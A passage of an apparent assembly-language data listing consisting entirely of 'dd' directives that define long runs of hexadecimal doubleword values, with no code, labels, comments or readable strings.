0CB4FE54Ah, 0C21BA103h, 9B023595h, 8BCFBAE8h dd 0EEC3212Ch, 0BF8C368Ah, 0CC6EB39Ah, 1863E581h, 47ED062Fh dd 0FC36741Ch, 44A3951Bh, 2687E0ADh, 0E00978FEh, 8B0E4995h dd 1A2A6DE0h, 98D61E1Fh, 0CFFFC0FBh, 131B2ECCh, 178DD0ECh dd 0CFCA84D0h, 4C78017Bh, 1FF0B468h, 0AC03FC99h, 8695BF34h dd 0D432E149h, 0E8C90351h, 5983065Bh, 0D8FE1423h, 0A78DE59h dd 1508A516h, 0EAFFBFFBh, 0F77A241Ch, 974275A0h, 4AC02F81h dd 63432FA8h, 0CA60E86Bh, 44A2FED5h, 0B2D026C2h, 41FBDC41h dd 7E0260E4h, 0C1D6A918h, 90AE488h, 80D99703h, 745DC595h dd 8FDD1B05h, 0BFB990B5h, 0C9375D0Eh, 0C696C59Dh, 0F2511AD1h dd 0D1106FDCh, 917C290Ah, 1931DD4h, 4D9BD239h, 0B42FAC62h dd 6F943485h, 4BED48B8h, 4CC64B11h, 29B3FC44h, 8F6036EEh dd 9C6BEB68h, 6E1C612Ah, 0F9D7F403h, 7B3CBC11h, 45826DAFh dd 4040BCDEh, 52C1FEFBh, 3861CF8h, 0BEC4BA59h, 0BA027BC7h dd 6928F379h, 2345DDD2h, 1FCB6E6Dh, 193A507Dh, 634EB6C5h dd 672276DDh, 36CCDEF7h, 0A521EA64h, 0D34581ECh, 0E13A128Dh dd 882DCAD3h, 69D32218h, 0DBFC7335h, 0F3B2D92Eh, 0F481BA5Ah dd 67874F62h, 9ED99927h, 82861D5Ch, 0B5490E68h, 0B0C4FDDCh dd 3846BF3Dh, 76667E96h, 0C2F1F766h, 7FCF0391h, 0C8C2B8B0h dd 92BEF8D0h, 2A424C23h, 0DD648181h, 0F656EE7Fh, 4646A12Eh dd 1AC64D36h, 3D72607Eh, 0DC5CD96Ch, 84B37419h, 0C04C88EEh dd 0E4C8E2CAh, 0EC000AE0h, 999420CAh, 8134B5C1h, 7460293Dh dd 0DB120183h, 81039B49h, 11757942h, 3BDE62C0h, 4DE96565h dd 1C52F917h, 0C266477h, 27611093h, 0D74BDF19h, 5993A6FEh dd 0BF027A9Fh, 0EFFF37A6h, 4A63F674h, 29BFACD6h, 0A5B90678h dd 0A447CE1Ch, 485A5C55h, 683C2BD2h, 7C193620h, 25159FCEh dd 7510BBACh, 33ABC680h, 0BC9B965Bh, 41C7B368h, 0FF778505h dd 79F51471h, 943E45A7h, 0D6D7A8FCh, 0B8B0241Ah, 432EC4D7h dd 0E67269D1h, 0BBC5B19Bh, 0F9B2EE81h, 5B66A7E3h, 674625D1h dd 0BF584E58h, 75A5852Eh, 0F7D53EA2h, 0C67D69D7h, 0D4AFB667h dd 0E74C4171h, 0F67D50AAh, 0D494A947h, 97C61D60h, 2405F781h dd 2C28DDBBh, 0F1ED1835h, 2B7DBDDCh, 0D48CAA2Eh, 0B811CFDDh dd 0DC263C51h, 47E5DEE5h, 72749513h, 0F30600E9h, 0FD9D9B3Ch dd 0B2DDA320h, 84DC56C4h, 0C6820CEAh, 0EE347898h, 1C733BB2h dd 86BA4B23h, 0C7DDC75Eh, 74ABB988h, 83B0D0E5h, 41EA8EF6h dd 3F8F8358h, 7FE9040h, 1151A42Ah, 0F9910637h, 98D29555h dd 0C7E3EDB8h, 1AFEE132h, 18B73C31h, 549D19AFh, 0E8362148h dd 2EEA8864h, 24E30B48h, 13CE7CBh, 0DB0AC227h, 1CF83BB1h dd 0ED8CA04Ch, 0C9F97C6Dh, 9F08D49h, 5FAF225Dh, 2DE31856h dd 829955DDh, 88008DD6h, 9A3882A0h, 2DB4E77Fh, 0F87E12C6h dd 0DCD332C9h, 685BE6A9h, 742CD92h, 5B3EDEEBh, 7F00A51Fh dd 1DEBC2A4h, 0E837829Dh dd 0D49E92DCh, 0A06E03DCh, 68A34E30h, 0E9EDA415h, 3AEA0909h dd 8A0242CAh, 8D732D51h, 0AF102ED0h, 5C690204h, 8E1BC488h dd 0F2521AB0h, 0C953432Fh, 0DAABD659h, 25EF9DCBh, 0C8F46F91h dd 26DCBED7h, 0C1C9751Ch, 0D99F3148h, 0FB93C9B4h, 0E7B50ABh dd 0F249E742h, 98CE0558h, 25783C2Ch, 0E21FF892h, 0D0616C28h dd 0BEC783Eh, 70D9CD1h, 0F6A16E41h, 0A1A6369Eh, 78A38BF8h dd 408C691Bh, 9736A69Bh, 87EB2D63h, 4B4A3D23h, 0FF964025h dd 7E60D479h, 1B06252Fh, 57B6CD3Eh, 0C9723F40h, 0FF48C6B4h dd 0C02588F2h, 77654B2Ch, 0A76332h, 0CA25D517h, 0EDE59EF0h dd 0ACA5D66Ch, 0DABFB0Ch, 74F06549h, 8D388408h, 1777DE55h dd 0C0AF59C0h, 0FCA9E8A7h, 4BB6BDBAh, 695AA5B6h, 98C27238h dd 915C1218h, 5CC00E75h, 9CCA4048h, 0C57A951Dh, 71B8B4D5h dd 0D2A1900Eh, 69FFA3D4h, 0AEF385C5h, 0C2302A12h, 0F9A93B00h dd 0BA659812h, 4D0885h, 2D47C9B1h, 0A74312AAh, 0E925C256h dd 64F6044Ch, 4913D739h, 0FA448D90h, 0B31D109Fh, 0BEE3F6F5h dd 0AD547F78h, 0E1AD90ADh, 0D1405A41h, 8EA5EED9h, 9C1C1787h dd 5E1F877Ah, 18CD588h, 9027AE94h, 0F65A8B5Fh, 3A85AA4h dd 0C6C144A1h, 0BFCCAC0Dh, 217516EAh, 0F6E63960h, 89BCCB0Bh dd 0ECA086D4h, 3BECA0A0h, 94403C5Ah, 2CCCAAD8h, 7BFA6F7Bh dd 8CB90B5h, 9C88F05Eh, 1DAE2E7h, 34F715FDh, 971700BDh dd 44B09534h, 7C3EC255h, 0B7B781B3h, 0F0A2EB10h, 8D281DAFh dd 6F4A6E72h, 3E6034CAh, 0BB386E5Dh, 0C3A8F0F7h, 5E9C40CDh dd 97BB4A94h, 32D0025Eh, 0C3385B44h, 8D3F0496h, 42B5C37Eh dd 0FB9ED20Ah, 7593D1D9h, 746AEE76h, 1BEECB42h, 19FDC4DEh dd 66E1E92Eh, 0D5CAC318h, 0F283E9D8h, 21C00517h, 0B499C198h dd 13DF1659h, 6240B086h, 0BA29C2E6h, 9999C83Fh, 0CCC2C23Eh dd 15371BB9h, 13CFD0B3h, 6DF0D83Bh, 41D104E3h, 4B39120h dd 79D119A8h, 0B1857634h, 652B735Fh, 0F28B2D2Dh, 46466618h dd 8BFFC4F4h, 0A81C285Bh, 0EBEEC53Fh, 3B410F09h, 3C7946B3h dd 0C686F265h, 28D26800h, 6FD3426Bh, 370F6925h, 88FADA5Ch dd 73747DC1h, 7B9045E4h, 0F7AB00F4h, 6789F1ABh, 2EA2B6D8h dd 0EC02534Dh, 0DBE9CE64h, 46EB12C3h, 0BFBDA7C1h, 95E943C3h dd 0FD455181h, 0EC4FF603h, 0DBBD32F6h, 80255E50h, 0C747E021h dd 0EE4FB9E9h, 0FC702407h, 0FB5629FEh, 77DF0B40h, 0F4FDAB8Bh dd 0A746BBF2h, 403224CFh, 3A135370h, 43B9BE2Bh, 0D5F378A4h dd 0D9E95CBDh, 7937972Dh, 0EE0BE5C3h, 2BBE64ACh, 46830E53h dd 0AFA2D553h, 1FA6A73Ch, 96AFB5E5h, 742A67F0h, 0F7934ABCh dd 0AF344CF6h, 905A794Eh, 1001FECh, 54EEEB43h, 0F4CA26F8h dd 1F933E99h, 37AD30D9h, 0F121E1FDh, 0E2BD30EBh, 0C07FCAACh dd 7D7A8E70h, 15C57BC2h, 4570B0B9h, 47500088h, 0F3F1B75h dd 0D8453EA7h, 346CEFF7h, 1C3E6215h, 0CE68CDAAh, 19D818F4h dd 0D099BF82h, 198C40A7h, 0BA00AA81h, 92FFBBA9h, 0F6E02F3h dd 77928871h, 85D7186Ah, 6A145F14h, 315C9AAAh, 3DA2F3F6h dd 0E3EC7065h, 0C8E5F112h, 0CA390592h, 0C1421DE8h, 4688F205h dd 5ECEC221h, 0E2C2DB13h, 0F21E46CCh, 0E12C106Fh, 2058620Dh dd 248E4C7Eh, 3EA6240Fh, 648DC973h, 6D528FF7h, 82667C38h dd 0DC0507A0h, 22140755h, 0FC822F02h, 1D1F8EB4h, 75A329C2h dd 4188DFBBh, 35ABE715h, 16836ADAh, 222AABAAh, 7748E8EBh dd 5418F9A3h, 0F64EEE6Eh, 49B6C297h, 8D723E38h, 0A01CB330h dd 0A0146CB2h, 4EDFF59Ah, 0C7391900h, 1047E55Bh, 0F60D7CF2h dd 4556F6E0h, 9FDE249Ch, 90FA08DDh, 36DD7449h, 9E4C91DEh dd 9597D323h, 203EECF0h, 9844EB67h, 55A0B383h, 0CB443ADBh dd 96FC87ACh, 1571EE8Fh, 0CB1C28F2h, 9CF32D2Eh, 1F90D4C9h dd 569517Eh, 380D9C87h, 0F295A0F7h, 72E5CEF0h, 0BC41A0B5h dd 97B6F547h, 3BDA989Bh, 0EB8C3FA2h, 7FFC5518h, 85C6F32Bh dd 6C0B1A7Ah, 79304F1Dh, 3328E6C9h, 0F881A45Ch, 659CD897h dd 328899F7h, 4B9C2F4h, 367352F0h, 0E1DE7B2Dh, 9BB8B3F8h dd 0EE2E142Eh, 3D13EC01h, 86B285E9h, 0AAD95A4h, 5766D566h dd 70E253FFh, 46E47A38h, 9DB1EF98h, 5305D022h, 36F120FBh dd 85375223h, 5F9D6863h, 9237BB17h, 5602F9BEh, 34A0B51Ah dd 0F171D4A6h, 2CD0F9ABh, 0EBC460B2h, 76786CAAh, 1DC21EAFh dd 0FDA29A66h, 0CF565C68h, 4B932784h, 13207884h, 0B6C47E37h dd 729707C5h, 7E040B15h, 1A09767Ah, 9A43C6DEh, 7DF4B0C7h dd 0D8594039h, 0C8C2D323h, 0ABF2D81h, 61BB47Fh, 0FDCE388Ch dd 1B690622h, 4B9392DEh, 0C5312C5Dh, 0C7B9479Dh, 16842441h dd 45F1D171h, 352F15EEh, 2F6E901Eh, 509A255Ch, 9DECF041h dd 95EA2F78h, 0CF1DA65h, 299653E2h, 137E41EBh, 0E681A267h dd 0BBD509B6h, 0D5F1B950h, 0D7CEFB6Fh, 0E80078D9h, 6C7761D0h dd 8AA5AFE7h, 799CD665h, 0E10E041Ch, 4B01B6FFh, 5704731Eh dd 0DC9D9C3h, 0EE993A79h, 1EBE9CE7h, 7436FB2h, 7CBEBB66h dd 0B45AF9DEh, 8D1EB217h, 0AC471DCFh, 0CBFA2E4Dh, 83D7D68h dd 0BC00F0B6h, 378543A6h, 650C13E7h, 0DA3E6845h, 2B4B35BEh dd 0AE60AAAEh, 41379D45h, 7ED04007h, 10BC3E22h, 5BD21C47h dd 0E2E320FFh, 5A1060ABh, 0F0D21D4Eh, 0DD66EB02h, 2AB04256h dd 4CCE3D92h, 4A54BE8Ch, 5F0D2F7Eh, 0B06A3BC9h, 4D52963Ch dd 40DF4037h, 0CDEADBBEh, 92FE93D4h, 29123A10h, 5E78E06Dh dd 3B1D14A8h, 6B5C02EFh, 0BEAFF908h, 0D7DE1C3Fh, 71291058h dd 91553A8Ah, 0AD5CA37Ch, 0D68597ACh, 53ED7F78h, 320D90CCh dd 89EB0617h, 8ED61231h, 6DD3A5B2h, 7CF34FCDh, 601BE798h dd 111054D1h, 15D0B1FFh, 594AA024h, 0CC24012Ah, 0C0C7116Fh dd 711D83B1h, 0D175CAA3h, 0D5D1F30Dh, 17FB66BFh, 3C3A819Ah dd 0B3A3652Eh, 0D7A61C47h, 0ADAB7DCCh, 0F92DDD4h, 1C3BA39Bh dd 1E8183FAh, 3CA75AC0h, 78D4D26Bh, 8BAD0163h, 20CF4AA1h dd 506C63D0h, 3318D262h, 5C8D3180h, 45C1651Fh, 0CD00CDA2h dd 0A98E5C09h, 571114C6h, 89811BA2h, 0EBD1AC4Dh, 8FDEF633h dd 3B934D4Ch, 39FB4092h, 0B1CE8F9Ah, 7A107DC7h, 0FC2ECBD6h dd 6BE4A36Ch, 0BBFFA6BCh, 8D69C11Ch, 388C939Dh, 0CE78A562h dd 0C655AECFh, 0A5E9BA5Dh, 1D2B07AEh, 7577F072h, 5FD935C1h dd 0A2FF4DCFh, 0B5531E87h, 0C8B6B6E0h, 9F248FCBh, 0A7C89481h dd 6A5EF3D7h, 0AF7A071Ch, 3FE22FA8h, 16ECFA31h, 57C918A4h dd 0A94E4AA3h, 43F61BBAh, 2FD66FC4h, 0C2BD9DE0h, 0DB95AD24h dd 5055541Bh, 0A2880965h, 63A5736Dh, 75FE3503h, 7AED4E16h dd 62B6D514h, 0ACFEB85Fh, 3B73E582h, 297FCF5h, 75483BCFh dd 1157EAE2h, 38012976h, 65D88EEh, 31E7A7E6h, 6F4D1E39h dd 7879B5CBh, 1A309F32h, 9188AEF7h, 6E7B3DF6h, 63D8CBCAh dd 69D47972h, 8C9F05B8h, 0B3676881h, 0D9D124E7h, 0F24439D8h dd 0A2C7C400h, 41664508h, 0D6C75C7Ah, 154BDE7Eh, 3E44208Eh dd 2AC3ACFCh, 38E97176h, 14FD74D5h, 10A97785h, 32A47A9Bh dd 0A0141C08h, 98999AB0h, 90244793h, 0B96B8C5Fh, 508B3086h dd 0C4EFACADh, 9BF56FEEh, 6B375F82h, 0ED467509h, 0BADD932Eh dd 1E92DA3Ch, 38864FDEh, 0A9C55C7Ch, 13794E33h, 6D2D5566h dd 2CA44DC8h, 27EC06F5h, 0D41D16CBh, 4802B0D7h, 22D58412h dd 86AAAFB1h, 7F18225Dh dd 0D9B415B7h, 0B49A3BBEh, 1E431C29h, 175E8C85h, 0E84C6A66h dd 3BDD3C24h, 0D03B95FDh, 0EB183133h, 40BA7109h, 7EA1A83Bh dd 0BB385A6Dh, 0CB522116h, 6DA89F9Fh, 264E8FBAh, 0F55D5175h dd 4C5DD57Fh, 6B6C61A8h, 6C9BF168h, 8A552D95h, 0C16E1D80h dd 0F5FEC31Fh, 0A39C7EA5h, 0F7EB3BD6h, 0FD213F72h, 0E715ED8Dh dd 2CB7F689h, 36FF00B5h, 0CD797DFEh, 3EC8EEAFh, 460BF27Ch dd 53F819B4h, 8C19EC88h, 2F14580Bh, 0ADC8D9B4h, 500697CBh dd 67257681h, 0CA3AF022h, 45298691h, 355BFFC8h, 5C0A57BFh dd 1075F6D2h, 0CC9A80B5h, 0B40A50D6h, 6BCD967Fh, 4B328BF4h dd 26494148h, 4C1D7AAAh, 0EF6787F5h, 24E31AF6h, 0D65292B4h dd 1FA5E1FCh, 9FCD397Dh, 436F5916h, 5C07B823h, 38F4BF74h dd 0C766380Eh, 0F87DE72Dh, 2A42491Eh, 0F2202116h, 2DAABE12h dd 0D85E3EE7h, 8640C76Fh, 251BEDC3h, 2B11C481h, 76CCFA3Fh dd 657FF224h, 16BEE531h, 0E7ABA5FAh, 4F5F866Dh, 40B6F0D8h dd 880B2478h, 0BEA4233Dh, 0F74422D1h, 0C271FA31h, 1E236E91h dd 0F208D788h, 0E91785Dh, 1BB8E674h, 0AF9AEBACh, 0D262B1B5h dd 3F9824E9h, 2BD48E5h, 53F70DD1h, 495AF861h, 4AD67E3Ch dd 88F6A632h, 0E1A2CEFFh, 0A6812E66h, 0D448F1B0h, 0C0ED119h dd 385B687Eh, 794FE713h, 9D93E4EEh, 0FCD160D9h, 40C19D50h dd 2973D8B7h, 722D2152h, 0BFA3ABA4h, 53407554h, 0B01D2668h dd 64F91A61h, 1E5F57EFh, 3653A143h, 6CC82DE5h, 0E2CFEF96h dd 7A10C8C4h, 0A41F7396h, 8B727E12h, 6681B420h, 0E2627B9h dd 425757E1h, 7CE82715h, 7591ECD2h, 0D700FA03h, 460CA12Fh dd 0D38AFE94h, 8A144770h, 1E946225h, 0F1EFAEB5h, 8D6260FCh dd 0ED74A3A1h, 84D9E917h, 32FCBE18h, 33F0DA44h, 587C56B7h dd 0E82B7A8Dh, 2F51DD26h, 447D2716h, 0D0D51894h, 3DDFA22Fh dd 4373F625h, 0EB02BF7h, 645DA564h, 35B77D56h, 78D12BEh dd 0CF189C49h, 10979CD9h, 0F4F91725h, 0C91027ECh, 0FAF62692h dd 84B3C72Bh, 0AD7A5FA9h, 9A6DC5DBh, 248565E6h, 788D7C0Dh dd 0A75A5401h, 0AF28EAE4h, 2E7A26EBh, 0E4A7B4D8h, 87B10963h dd 143E066Dh, 87DEC8EAh, 84E4B0C5h, 0FC96837Dh, 2D6C643Dh dd 0BA393270h, 0CF031044h, 38F3CF30h, 35B47996h, 22D66B54h dd 7E83D6E4h, 0FE9326C8h, 2250E387h, 8B265B49h, 3FCD86DCh dd 0ACE2FF63h, 705D4154h, 0C9919056h, 533C4831h, 0D103CC2Ch dd 6684B96Ch, 7BBE42BFh, 0DF15131Fh, 4950CAAAh, 9E1F6696h dd 71D1343Eh, 34CBD3D4h, 0DC4DFE20h, 7485B585h, 0B888C91Eh dd 4B675FF7h, 3AC44583h, 341C5469h, 94B80170h, 3B0EDB5Bh dd 93EB33E7h, 56FC9D22h, 286F587Ah, 55F096EFh, 0ABCBB3C9h dd 724E06F1h, 578EC6Fh, 6D385A47h, 6AAD3518h, 0DAB14521h dd 0EBFA17CDh, 92AB543Bh, 71B71DF3h, 508EE800h, 5D61216Dh dd 0FB1431D7h, 90A84080h, 52771B74h, 0FA901022h, 0C90548CEh dd 63F61BAEh, 802ED0C7h, 0D3ECFF61h, 0D6D13631h, 41348DA7h dd 0D9AFF2B9h, 0CB176C38h, 27306A57h, 26F750BBh, 0D63F7283h dd 0B205C28h, 0A127B8EEh, 3C5D09FAh, 31F12E52h, 3324EA59h dd 43BB540Ah, 771F4F05h, 0B9C39CF8h, 0B9F644A9h, 8E283CD4h dd 1BDABDA3h, 4F460E5h, 8C018AD6h, 0FB62645h, 99EA840h dd 0DEF3C2D5h, 9CE38667h, 12F2FA45h, 13C58CCAh, 25520818h dd 0A2C5F3FAh, 839F7168h, 9031AE3Dh, 3533B742h, 0A9308097h dd 561D048Bh, 5211366Eh, 0B89F511Eh, 365DDF52h, 87906049h dd 2FD5FBA8h, 78A60CFEh, 9DFB09D2h, 0CAB9FEBCh, 9CEF3ACEh dd 0E140F44Bh, 0CC45DC7Bh, 1D15EA21h, 0B290DBD7h, 540AFAF4h dd 0E02013Bh, 0D519A1D0h, 0EA0223E6h, 6DFDEF9Bh, 87EA54F8h dd 0E14474F9h, 42D0594Bh, 0BFE168E1h, 558E7E8Fh, 0D9606545h dd 0D0A15414h, 7D647510h, 0CA55B5F7h, 933D4140h, 0C111CC19h dd 0AB9F4002h, 5A4EDDF0h, 0B5205114h, 74E2E7F3h, 7E54D3BEh dd 46AA7A2Bh, 65043B7Ah, 6E71BA63h, 931CA092h, 10A7AF57h dd 0F61FA505h, 579FD189h, 7310DEB3h, 5BAEC2AAh, 0C7D37EA8h dd 45895C94h, 19D0D4A6h, 9A8C5316h, 0FBEC6980h, 39197B89h dd 8DC24008h, 0A66EA1Dh, 0DAE82D0h, 0DED8EF90h, 85CE63EFh dd 0C98AFEB8h, 70F2E554h, 248FFE33h, 0A9119E06h, 0B2DEB2C6h dd 13E84FA1h, 4D4AABFCh, 0BD076D1Fh, 0A07DB91Dh, 9594527h dd 0DD9F7F47h, 0E302595Ah, 983E5C44h, 12B1413h, 7012873Ch dd 2DF2432Bh, 8DBEEF9Bh, 678243A5h, 0E56D4D87h, 93528CBBh dd 6492EC23h, 0DA40696h, 0F6904CE0h, 4FB3A471h, 1020AB98h dd 0F4635736h, 0B813EDDDh, 0BFA66730h, 783AE40Ch, 0C1F7A346h dd 0F219E1D7h, 4E00906Eh, 0B26D2127h, 2988A7DFh, 0D7832CE5h dd 537207F4h, 0DC21C4E9h, 0BC1F1AD5h, 0CAF71791h, 80D3EE37h dd 0F9544DE6h, 0C22A3F6Fh, 0D0BC92Fh, 0AB7B7BBAh, 28042053h dd 637E138Dh, 1DEA3BC4h, 1E63305Fh, 0C22DDE7Eh, 0BE01ACD4h dd 0B905A67Dh, 0C3025C88h, 0B4BDA24Bh, 0C6CF194h, 400C78C3h dd 7437344Ch, 9EA2E985h, 0DDBCEA1Fh, 0AB65DC1Ah, 36FA5A46h dd 0C6145672h, 6B6645E4h, 2F592FB5h, 0D118D549h, 17E55753h dd 31294293h, 0CD0AB637h, 0EFFFA411h, 9F7345BAh, 389F391Bh dd 0CB795A64h, 0CC2BE50Ah, 2270AEE2h, 0C1D1CA9Ch, 5E5BC24Fh dd 2616CC40h, 33D4D423h, 0CE029B45h, 4E8304A4h, 0D93478DCh dd 0B82F0F21h, 66ECA5DEh, 41FF6C86h, 9BA876E6h, 3512B9B5h dd 0C3272CFAh, 82BEAB0Dh, 0CD8215CBh, 0EE795613h, 7E0EC46Ch dd 524326C9h, 30855D4Eh, 9A26C445h, 78A8D7Fh, 3A269F36h dd 885E4610h, 3C65797Dh, 83A22117h, 0D1AE1548h, 0E3658C4Ah dd 928A64A0h, 72616FE9h, 0C7DDB058h, 5C7E3E40h, 0E7AB177Ah dd 44906F44h, 0DBADACD3h, 0CF7F909Ch, 17FFF964h, 0E1B8AA2Eh dd 0D4C5F5DBh, 0D50E49C7h, 0C22708B0h, 2939F8B8h, 44BDC6A3h dd 89C37C05h, 0D2541110h, 0BA51BC0Ch, 68046FECh, 633A9E25h dd 0D002E4CBh, 0DAC3CBA1h, 5C2E9ABFh, 0EA77F00Bh, 777073E5h dd 142D0E6Eh, 208E3D98h, 9F0E1B7Ch, 75DBF1D0h, 0F351F2DBh dd 0F3C94E27h, 0BFB630F9h, 9A663FCAh, 587D8E8Dh, 544D2D04h dd 400000F3h, 0B893DDC7h, 6FBBFD51h, 5B816884h, 0D0C9112Dh dd 0B40D96E2h, 0A9B07C4Eh, 15839738h, 6DD9009h, 0B6361975h dd 0B337C532h, 98243BE1h, 0EBE8F9FFh, 792A29DDh, 0B41578Ah dd 0E1FBFAA6h, 7F92A5A8h, 0C2AE6B87h, 778DC48Bh, 3F8E7061h dd 11869F00h, 9459A959h, 0C00FCAEDh, 0CACE8CDAh, 4CA4E7D5h dd 0CB05953Eh, 3F3575A3h, 26824EDh, 526EC64Dh, 4FDBB630h dd 0FBF09F77h, 0C3FEA476h, 233C1EEAh, 59076242h, 6A0C86F6h dd 58A87EFDh, 9CC8105Ch, 0C2E605A0h, 2B735464h, 9AD24A48h dd 362F037Ch, 91371A14h, 86C0C920h, 7FC9E11h, 0A286D2A5h dd 13D6E074h, 13B5779Dh, 482A0952h, 0C2C08CC4h, 0B2E13A24h dd 0DF0320DCh, 159D7000h, 95619E36h, 92B15499h, 894467C7h dd 1CCC783Ah, 0E1D701D8h, 6AFDD06Dh, 0B6D1992Bh, 2E6874BFh dd 0EC004F50h, 18EFDAF2h, 0E664787Ch, 0A88DDEB2h, 89E459E2h dd 6E4C3259h, 0D70CCFCEh, 0E428786Fh, 59E6F355h, 0F55EC451h dd 99F2C7CBh, 0B3DBA79Fh, 38614C8Ch, 370F25DCh, 0B6346C89h dd 0FF6BEE6Ah, 23AB939Eh, 29927EE9h, 23CF2921h, 4EFAAADh dd 0F429F6C5h, 149C0653h dd 0D06FCB0h, 0D568063Dh, 0DA6CAEE9h, 65CBACA0h, 3F2C1161h dd 5910D5F3h, 0CBB3515Fh, 0EA302338h, 65222431h, 9D9FF519h dd 0EC0DD3B8h, 9A62484Bh, 9FA73F8Ch, 7ADA5286h, 68733F0Ah dd 19138210h, 2CD4C24Eh, 0B3264B2Bh, 6CDDB77Ah, 9DFFBF0Fh dd 0A4F2B749h, 73AC64F4h, 0DC5F1126h, 191CF157h, 47F87462h dd 0C2C42F9Ch, 84400502h, 0AE450B97h, 296EC61Bh, 9FF278CBh dd 0AD12281Fh, 93BEE843h, 899CA8F9h, 0B5CB26E9h, 7CCC09A7h dd 0D17CCB50h, 0F0F4FA96h, 8302CFF9h, 0EEEDD76h, 511F8334h dd 0A52CB086h, 0A0674F80h, 2C08EC8Eh, 1AA3C791h, 3EDB377Dh dd 0EB9B4506h, 1A21AE65h, 0BE4FA1DDh, 0EEF6A9CAh, 0C6E7579Eh dd 0EE2514E6h, 0E3C3D309h, 0B6A66F92h, 0F78832DAh, 4F0564EAh dd 0B621CE09h, 0E566B4EBh, 0A022CBECh, 86EF74FEh, 85631B3Ch dd 6B214D14h, 617C2ADFh, 17B98A6h, 76A5E733h, 7A6BB342h dd 0CEB257BDh, 0A065022Bh, 0BFEF216Eh, 0FA8F4D2Bh, 0A0605243h dd 0EEB6DFDAh, 4DD95756h, 407A7035h, 72EE6EE0h, 75FB391Eh dd 53C0A588h, 0E4BD7D64h, 96B58193h, 0A5D08ADFh, 0F189A306h dd 31B34C26h, 0D81EED57h, 0E6DB021Ch, 0B252AC70h, 128D666h dd 451A57A0h, 0D91AD4DCh, 372092D6h, 0DDBA099Dh, 0CEABE3A7h dd 9CD47E22h, 4591A6C0h, 517B66A4h, 0D410DF2Bh, 0B2AA4929h dd 0C8A5F34Ch, 0C526FAB9h, 8D6376D1h, 78E32C66h, 68503DEBh dd 0FB7F7920h, 30617C5Eh, 0C391BECAh, 964DFED6h, 65DDC932h dd 0B03F408Ch, 1042AB45h, 3016DF55h, 0D56DB5C8h, 1C1B3DBAh dd 54579259h, 0BDFFA7FCh, 0D1F51733h, 0D90EDD45h, 86F25F99h dd 165C1C58h, 61D0B5C2h, 0FB71F77Dh, 0D8743212h, 1B98961Bh dd 8B9BF545h, 9BE9201Dh, 0DE95D3E5h, 526159E1h, 0A3CCB686h dd 0A4EDB4CAh, 6B525A92h, 91676CD8h, 4841CC90h, 692B43FAh dd 8BED21D6h, 5ACFA8D9h, 2993F887h, 250A4ED5h, 0B75F99BDh dd 1830E7B2h, 0DC8F6001h, 702A49A3h, 0ACA6CAB2h, 7F40AF25h dd 5C8C9E91h, 9F8A9F22h, 9DEF71E3h, 18CD43D3h, 0D8551BC1h dd 0A0E824C0h, 17919C08h, 7307EA0Ah, 42B7FC49h, 0AA4F9562h dd 0CCF5457h, 6A6BF088h, 0D8F02A4Ah, 0DC106821h, 8030AA87h dd 515379C8h, 57FE92BAh, 9B929931h, 0D6C662CBh, 0C2A419D3h dd 70C48BAAh, 48449AD0h, 0CF723F49h, 0A77FDAFFh, 4C5F5E11h dd 0BB3DE96Ah, 868B4DBh, 4B622B38h, 5C652359h, 2C97BD03h dd 630F289Ch, 81678ECBh, 98EB306Dh, 3DD255B7h, 12BA15A6h dd 0DC9D363Bh, 35679FF9h, 0C4A63137h, 83511D93h, 304E3C5h dd 3ED5415Ch, 2E10F63Eh, 6F9D87A8h, 0F8844FE2h, 0D37E42CFh dd 6855181Fh, 11FACEB4h, 5EFF1229h, 0DAB093DCh, 1DC3901Bh dd 0B9B742F0h, 87E1B409h, 0AE0DE9E4h, 36EE4130h, 7337CEDBh dd 69CB5D23h, 0B62C33E0h, 295D9C6Fh, 274A2E3Bh, 231E2336h dd 0B2494B6Fh, 0C7981E6Dh, 0C37826B0h, 678CF9C3h, 8A152AC5h dd 5DB8F311h, 94AAB668h, 36190EF4h, 71F3A105h, 8A9A19F5h dd 4299A38h, 0BB3840E7h, 0BDB46F1Dh, 1C8003D5h, 4E32A546h dd 0E906F3Dh, 2CA5E1FEh, 770E1930h, 5F61AC65h, 1D109027h dd 0C0AB3C97h, 0DC8248ECh, 2C1C0F7Ah, 0B2EB1D27h, 86E6E10Ah dd 0CF7A58FDh, 0F50B669Bh, 4F23C066h, 0C9A838ABh, 0E16CAFC7h dd 9F9C6C51h, 0DC4AA064h, 443B25BAh, 61C730E8h, 0E65B5Ch dd 0C41FED78h, 265861Ah, 5BC2A57Bh, 0E8053F85h, 113DE30Eh dd 0AF7FC5E5h, 0A0E69899h, 84003D2Eh, 0F6965301h, 51BD3F0Bh dd 0F536D703h, 0E209BFBEh, 0D7F697A1h, 9D6EA0B0h, 390E36F3h dd 20812499h, 84CF1C25h, 8C3FF271h, 2B973CDEh, 0FEA9A961h dd 8008F2C1h, 0DCF99CD4h, 3BDADDEBh, 83D224C8h, 0BFD35059h dd 4E6B45F6h, 95670CD3h, 4C532A56h, 0A86EADC2h, 4C924FCCh dd 90028A03h, 3EDBD214h, 0E9E82AEAh, 5DCD4BE3h, 6878B139h dd 7AC2712Dh, 0CFE69C8Ch, 0E7FE2864h, 0D242ACF5h, 0F6A0513Ah dd 74B0E57Ch, 0F86C2FE4h, 0CC584699h, 949469A8h, 87DBF3CAh dd 23306CC4h, 95F78D8Dh, 0B7C918D5h, 0C145D007h, 7579032Bh dd 191C6EDDh, 0BAC4B80Bh, 8D507538h, 0F2ED21B7h, 3D16B055h dd 5D41EDB1h, 0BAC2097Eh, 59E88987h, 0B45A3CF8h, 0D168BB10h dd 2E89779Fh, 0E356F96Ch, 261452ACh, 3297A2C9h, 7BEBC9A7h dd 3C20FF6Dh, 0A6FFB999h, 7E458E98h, 7B861E32h, 5338C54Ah dd 6C2BF440h, 6846427Ch, 9C6620A5h, 5AFDC817h, 0A5975C96h dd 0C11A2E45h, 8C56495Ch, 0B1A82703h, 738181D7h, 6730B724h dd 82693EE5h, 52339EFBh, 9251CADh, 0A285BB35h, 4715F023h dd 0CCBE3F67h, 159B0BF8h, 0C16FE287h, 5F521EDh, 218BEAF3h dd 0A0F646C8h, 70EE7707h, 0A41C9242h, 0A125AF29h, 8646109h dd 0B90DDACFh, 0D8BCF8EEh, 0DAFE07E8h, 0AFB25B63h, 2E0F16CAh dd 79572A93h, 612E2E88h, 0A93DBC8Eh, 0C6324CEh, 32050210h dd 72FB8198h, 382285E5h, 53B09EDh, 7A10047Bh, 15627B7Fh dd 97E43979h, 5046CC13h, 38886F5Fh, 6FA10B49h, 0CC736264h dd 3C2F086Ah, 5B487F6Ah, 0EB4EE16Fh, 78C1C64Ch, 858764FAh dd 0F9155D5Ch, 